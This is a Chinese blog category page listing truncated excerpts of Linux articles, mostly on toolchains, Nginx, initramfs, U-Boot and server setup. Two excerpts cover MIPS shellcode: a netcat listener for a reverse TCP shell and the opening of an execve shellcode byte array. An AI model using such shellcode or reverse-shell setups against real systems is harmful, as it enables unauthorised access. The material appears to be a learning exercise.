linux
文章平均质量分 64
克几尔
这个作者很懒,什么都没留下…
展开
-
基于MIPS的shellcode的reverse tcp调用
1 在win下使用netcat建立tcp server。(1) 下载netcat: https://eternallybored.org/misc/netcat/。软件下载后,会有病毒提示,设置成非病毒包。(2) 查看帮助信息:使用cmd开命令界面。使用.\nc64.exe -h命令查看帮助信息。(3) 建立socket监听:.\nc64.exe -L -p 30583(4) 等待连接…2 编写shellcode的reverse tcp调用源码#include <stdio.h>原创 2021-04-24 15:15:44 · 449 阅读 · 0 评论 -
基于MIPS的shellcode的execve系统调用
1 编写shellcode的execve系统调用源码#include <stdio.h>#include <unistd.h>char sc[] = { "\x99\x73\x06\x24" /* li a2,0x7399 */ "\x00\x00\xd0\x04" /* LB: bltzal a2,LB */ "\x50\x73\x0f\x24" /* li $t7,0x735原创 2021-04-18 13:42:07 · 301 阅读 · 0 评论 -
Centos7分部骤编译单文件执行程序
Centos7分部骤编译64位执行程序#!/bin/bash# 脚本执行格式:$ ./build-centos7-x64.sh <source file> <execute file>#src=$1dst=$2echo 'source file:'$srcecho 'execute file:'$dst#预编译gcc -E $src -o $dst.i# 汇编gcc -S $dst.i -o $dst.s# 编译as $dst.s -o $dst.o原创 2021-03-01 00:13:24 · 209 阅读 · 0 评论 -
Nginx-添加自定义模块makefile流程分析
基于nginx-1.14.0脚本分析编写一个自定义模块如果添加自定义模块,网上教程很多,参考了参考:http://bg.biedalian.com/2013/08/09/nginx-hello-world.html如果不能访问,检查是否是防火墙的问题。configure命令分析当前使用的命令./configure --add-module=./extends/ngx_http_hel...原创 2020-02-27 17:00:37 · 945 阅读 · 0 评论 -
Nginx脚本分析-auto/feature
该脚本检测不同平台的特性。它的实现原理是,写一段C程序,然后编译连接,生成可执行程序,再运行可执行程序,根据此过程来检查相关特性。。脚本中使用变量变量ngx_found:使ngx_found用来返回检测的结果,检测失败为no,检测成功为yes,默认为失败。变量ngx_feature_name:传递给脚本需要写入的定义的名称,脚本中会把ngx_feature_name全部转化为大写字母,然...原创 2020-02-19 13:56:25 · 475 阅读 · 0 评论 -
linux内核-构建initramfs-x86_64
1 为什么要initramfs?知道为什么后,往往事情干起来就比较顺心,那么,算了,不说了…2 制作简易initramfs制作简易版本,我们以hello为基础,熟练制作过程。简易版本目录结构和制作过程介绍的比较详细,后面有的过程就不具体介说明了。2.1 目录结构为了归纳文件,我创建了一个initramfs-hello目录,在initramfs-hello目录下又创建了一个inird,和在...原创 2019-08-28 23:29:44 · 698 阅读 · 0 评论 -
配置dropbear
配置dropbear1 编译zlib下载,解压zlib:wget http://www.zlib.net/zlib-1.2.11.tar.gztar -xvf zlib-1.2.11.tar.gz进入zlib解压目录,配置,编译,安装:cd zlib-1.2.11makdir buildcd build../configure --prefix=/usr/local/zlib...原创 2019-08-17 08:26:46 · 3503 阅读 · 1 评论 -
Centos7编译x86_64工具链
相关工具包:binutils-2.23.1.tar.gzgmp-5.0.5.tar.bz2mpfr-3.1.1.tar.gzmpc-1.0.1.tar.gzgcc-7.4.0.tar.gzglibc-2.27.tar.gz1 准备工作1.1 新建chd用户和chd组 groupadd chd useradd -m -s /bin/bash -g chd chd1.2 ...原创 2019-08-10 09:38:58 · 850 阅读 · 0 评论 -
linux内核-在centos7.2基础上制作极简根文件系统
1 平台的搭建1.1 软件平台(1)Window 10操作系统。(2)VMware Workstation 14 Pro。(3)Centos 7-x86_64-DVD-1804.iso。1.2 安装编译环境yum -y install gcc我配置的GCC4.9.0,其它版本没测试过,参考博客:http://www.kejierda.com/blog/?p=567 。yum i...原创 2019-03-13 10:16:39 · 1384 阅读 · 0 评论 -
linux内核-Centos7-linux-4.15.10-x86_64位系统制作
1 平台的搭建1.1 软件平台(1)Window 10操作系统。(2)VMware Workstation 14 Pro。(3)Centos 7-x86_64-DVD-1804.iso。Centos硬盘稍微大些,50G左右比较合适。1.2 安装编译环境yum -y install gcc配置的GCC4.9.0,参考博客:http://www.kejierda.com/blog/?...原创 2019-01-12 10:34:03 · 848 阅读 · 0 评论 -
uboot-环境变量
uboot环境变量1 环境变量描述环境变量有2份,一份在Flash中,另一份在DDR中。uboot开机时一次性从Flash中读取全部环境变量到DDR中作为环境变量的初始化值,然后使用过程中都是用DDR中这一份,用户可以用saveenv指令将DDR中的环境变量重新写入Flash中去更新Flash中环境变量。下次开机时又会从Flash中再读一次。环境变量在uboot中是用字符串表示的,也就是说u...原创 2019-01-06 10:46:29 · 431 阅读 · 1 评论 -
uboot-命令
uboot历史:uboot项目最初是一个德国人发起的开源项目,然后由感兴趣的人共同维护发展而来的bootloader。很多人说bootloader就是U-boot,这种说法是错误的,确切来说是u-boot是bootloader的一种。也就是说bootloader具有很多种类。uboot的英文名称为:universal bootloader。u-boot特点:开放源码;支持多种嵌入...原创 2018-11-15 09:21:21 · 459 阅读 · 0 评论 -
电脑上直接安装Centos7
一. 由于装Windows的习惯,准备使用大白菜装Linux: 1. 安装报错: mount: unknown filesystem type ‘ntfs’ Warning Couldn’t mount /dev/sda1 Warning no suitable imagesWarning: dracut-initqueue timeout - starting timeout scr...原创 2018-08-06 15:32:43 · 14064 阅读 · 1 评论 -
Armbian系统-mysql-connector-c++-1.1.8版本-交叉编译-安装
查看相关mysql-dev库: aptitude search mysql|grep devel。安装相关库。 搜索相关安装:apt-cache search libmysql项目用的版本是1.1.8。下载源码包mysql-connector-c++-1.1.8.。解压,进入目录。可以先阅读“INSTALL”文件。里面有各个平台编译的详细说明(Unix, Solaris, Windows)...原创 2018-07-22 10:52:25 · 1526 阅读 · 0 评论 -
Linux安装Memcached
【Memcache基础】 Memcache是一个基于C/S的结构 服务端:使用Memcached软件 客户端:使用Memcache插件 服务端口:11211(可改)安装包: libevent: libevent-2.1.8-stable.tar.gz memcache: memcached-1.5.8.tar.gz【安装libevent】 tar -zxvf libevent...原创 2018-06-29 00:02:21 · 383 阅读 · 0 评论 -
CentOS 7.4系统-Apache-PHP安装-开发环境配置
配置需求:系统:CentOS 7.4Apache版本:Apache2.4PHP版本:php-5.6.32.tar.gz文件传输:ssh实现windows与Linux之间传送文件,linux上安装lrzsz:yum install -y lrzsz Apache配置:1. 查看系统是否已经安装:yum list installed | grep原创 2017-11-25 20:02:28 · 2946 阅读 · 0 评论